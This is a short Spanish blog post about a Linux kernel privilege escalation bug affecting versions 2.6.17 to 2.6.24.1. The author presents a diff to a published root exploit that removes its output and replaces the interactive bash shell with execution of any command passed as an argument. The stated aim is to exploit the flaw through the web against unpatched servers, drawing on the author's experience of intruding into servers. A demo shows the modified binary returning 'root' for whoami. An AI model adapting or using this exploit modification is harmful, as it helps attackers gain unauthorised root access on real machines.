Hace un tiempo se dio a conocer un bug que afectaba a las versiones 2.6.17 – 2.6.24.1 del Kernel de Linux. Se publicaron distintas variantes del exploit que nos permitia escalar privilegios y ganar acceso root a una maquina con solo ejecutar el exploit.
Tuve la idea de modificar uno de estos codigos publicados para poder explotar la vulnerabilidad a traves de la web. Esto se me ocurrio debido a la experiencia en intrusion en servidores, sabiendo que muchos usan versiones de kernel antiguos o que no estan parcheadas.
root-exploit.diff
51a52 > char *_cmd; 55d55 182,183d181 < 185c183,184 < execl("/bin/bash", "bash", "-i", NULL); — > system(_cmd); > //execl("/bin/bash", "bash", "-i", NULL); 195a195 > _cmd = argv[1]; 202,205d201 221,223d216 241,243d233 258,259d247 269d256
La modificacion que hago es eliminar todos los printf para que el resultado sea mas limpio ademas, tambien modifico el codigo para que ejecute el comando que nosotros le digamos y luego vuelva a su estado normal.
Demostracion
username@machine:~$ ./root-exploit whoami
root
username@machine:~$
Comentarios recientes